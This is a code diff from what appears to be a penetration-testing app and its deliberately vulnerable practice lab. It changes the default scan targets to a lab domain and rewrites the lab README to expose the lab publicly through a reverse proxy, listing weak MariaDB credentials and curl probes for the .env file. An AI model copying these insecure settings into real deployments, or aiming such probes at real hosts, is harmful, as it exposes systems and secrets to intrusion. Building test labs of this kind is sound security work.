color: var(--valid); border-color: var(--valid); background: rgba(92, 217, 130, 0.06); } +.dump-err { color: var(--alert); font-size: 10px; font-family: var(--mono); } +.dump-meta { color: var(--fg-dim); font-size: 10px; } +.dump-meta .trunc { color: var(--warn); margin-left: 6px; } +.dump-table-wrap { max-height: 240px; overflow: auto; border: 1px solid var(--border); } +.dump-table { + border-collapse: collapse; + width: 100%; + font-size: 10px; + font-family: var(--mono); +} +.dump-table th, .dump-table td { + border: 1px solid var(--border); + padding: 2px 6px; + text-align: left; + white-space: nowrap; + max-width: 240px; + overflow: hidden; + text-overflow: ellipsis; +} +.dump-table th { background: var(--bg); color: var(--alert); text-transform: uppercase; letter-spacing: 0.1em; font-size: 9px; } +.dump-table td { color: var(--valid); } +.dump-payload summary { font-size: 9px; color: var(--fg-ghost); text-transform: uppercase; letter-spacing: 0.15em; cursor: pointer; } +.dump-payload pre { + background: var(--bg); + border: 1px solid var(--border); + padding: 4px 6px; + font-size: 10px; + color: var(--fg-dim); + white-space: pre-wrap; + word-break: break-all; + margin: 4px 0 0; + max-height: 120px; + overflow: auto; +} diff --git a/src/components/modules/SslScan.vue b/src/components/modules/SslScan.vue index 609f14c..f64a6d2 100644 --- a/src/components/modules/SslScan.vue +++ b/src/components/modules/SslScan.vue @@ -32,7 +32,7 @@ interface Report { alpn?: string; } -const host = ref("example.com"); +const host = ref("insecure.newploit.com"); const port = ref(443); const timeoutMs = ref(8000); const running = ref(false); diff --git a/src/components/modules/SubEnum.vue b/src/components/modules/SubEnum.vue index e5889d3..a00df33 100644 --- a/src/components/modules/SubEnum.vue +++ b/src/components/modules/SubEnum.vue @@ -9,7 +9,7 @@ import { useTerminal } from "../../composables/useTerminal"; interface SourceList { free: string[]; key_based: string[]; } interface SourceStat { source: string; count: number; error?: string | null; took_ms: number; } -const domain = ref("example.com"); +const domain = ref("newploit.com"); const wordlist = ref("www,api,dev,staging,admin,mail,ftp,test,portal,app,beta,vpn,m,blog,shop"); const concurrency = ref(50); const running = ref(false); diff --git a/src/components/modules/Xploiter.vue b/src/components/modules/Xploiter.vue index 25ec64b..736f5a3 100644 --- a/src/components/modules/Xploiter.vue +++ b/src/components/modules/Xploiter.vue @@ -21,7 +21,7 @@ type View = "list" | "editor"; const view = ref("list"); -const targets = ref("https://example.com"); +const targets = ref("https://insecure.newploit.com"); const templates = ref([]); const selected = ref>(new Set()); diff --git a/src/components/modules/Xss.vue b/src/components/modules/Xss.vue index 105278d..8fb9b98 100644 --- a/src/components/modules/Xss.vue +++ b/src/components/modules/Xss.vue @@ -6,7 +6,7 @@ import Terminal from "../Terminal.vue"; import Prompt from "../Prompt.vue"; import { useTerminal } from "../../composables/useTerminal"; -const url = ref("https://example.com/search?q=test"); +const url = ref("https://insecure.newploit.com/search.php?q=test"); const paramsFilter = ref(""); const useGet = ref(true); const usePost = ref(false); diff --git a/vuln-lab/README.md b/vuln-lab/README.md index 8a966b5..314b6cd 100644 --- a/vuln-lab/README.md +++ b/vuln-lab/README.md @@ -20,41 +20,54 @@ docker compose up --build -d Add the hostname to your hosts file so the `insecure.newploit.com` SNI / Host header works: -**Linux / macOS** → `/etc/hosts` +## Exposing it + +The lab is designed to be run on a home server / LAN box behind a reverse +proxy (cloud VPS, Cloudflare Tunnel, ngrok, tailscale funnel, etc). The +public domain `insecure.newploit.com` then terminates on :80/:443 on the +VPS and forwards to the home container's `8080`/`8443`. + +Container mapping: + +| Host port (home) | Container | Use | +|------------------|-----------|-----------------------------------| +| 8080 | 80 | reverse-proxy HTTP → insecure.newploit.com | +| 8443 | 443 | reverse-proxy HTTPS → insecure.newploit.com | +| 3306 | 3306 | MariaDB (root:toor / dbuser:dbpass123) | + +Sample nginx on the VPS: + +```nginx +server { + listen 80; + listen [::]:80; + server_name insecure.newploit.com; + location / { proxy_pass http://:8080; proxy_set_header Host $host; } +} +server { + listen 443 ssl; + server_name insecure.newploit.com; + ssl_certificate /etc/letsencrypt/live/insecure.newploit.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/insecure.newploit.com/privkey.pem; + location / { proxy_pass https://:8443; proxy_ssl_verify off; proxy_set_header Host $host; } +} +``` + +Or if you just want to hit it locally, add to `/etc/hosts`: ``` 127.0.0.1 insecure.newploit.com ``` +and use `http://insecure.newploit.com:8080/` directly. -**Windows** → `C:\Windows\System32\drivers\etc\hosts` -``` -127.0.0.1 insecure.newploit.com -``` - -**Android (testing from PocketPentester on device)** — set your phone's -Wi-Fi DNS to the dev machine, or just use the host's LAN IP directly: -``` -http://192.168.x.x:8080/ (or whatever your dev box IP is) -``` - -Smoke-test from the host: +Smoke-test from anywhere (once reverse-proxy is live): ```bash -curl http://insecure.newploit.com:8080/ -curl http://insecure.newploit.com:8080/.env -curl "http://insecure.newploit.com:8080/search.php?q=" +curl https://insecure.newploit.com/ +curl https://insecure.newploit.com/.env +curl "https://insecure.newploit.com/search.php?q=" ``` --- -## Open ports - -| Host port | Service | Notes | -|-----------|-------------------|--------------------------------------------| -| 8080 | Apache 2.4 + PHP | main web app (→ container 80) | -| 8443 | Apache TLS | snakeoil cert for ssl_scan (→ 443) | -| 3306 | MariaDB 10.11 | root:toor, also dbuser:dbpass123 | - ---- - ## Module → endpoint map Everything below is already wired. Point the tool at `insecure.newploit.com` @@ -64,7 +77,7 @@ Everything below is already wired. Point the tool at `insecure.newploit.com` | Arsenal module | Where it hits | |------------------|------------------------------------------------------------------| -| `port_scan` | 3306 / 8080 / 8443 open (host-mapped ports) | +| `port_scan` | via reverse-proxy: 80/443 public · 3306 only on home LAN | | `httpx` | Title `Newploit :: insecure test lab`, Server `Apache/2.4.57 …` | | `banner` | Apache + MySQL banners expose full version | | `ssl_scan` | Self-signed CN=insecure.newploit.com on :443 |